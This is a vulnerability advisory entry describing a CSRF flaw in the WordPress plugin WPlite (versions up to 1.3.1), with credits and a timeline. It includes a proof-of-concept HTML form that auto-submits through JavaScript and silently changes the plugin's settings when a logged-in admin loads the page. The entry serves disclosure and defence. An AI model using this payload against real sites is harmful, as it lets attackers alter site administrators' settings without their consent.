WordPress Plugin Vulnerabilities

WPlite <= 1.3.1 - Arbitrary Settings Update via CSRF

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=wplite.php" method="POST">
    <input type="text" name="disabled_submenu_items[]" value="plugin-install.php">
    <input type="text" name="disabled_submenu_items[]" value="options-general.php">
    <input type="text" name="disabled_submenu_items[]" value="options-writing.php">
    <input type="text" name="update_wplite_options" value="1">
</form>
<script>
    document.getElementById("test").submit();
</script>

Affects Plugins

No known fix

References

Classification

Miscellaneous

Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-05-30 (about 1 years ago)
Added
2022-05-30 (about 1 years ago)
Last Updated
2023-02-25 (about 1 years ago)

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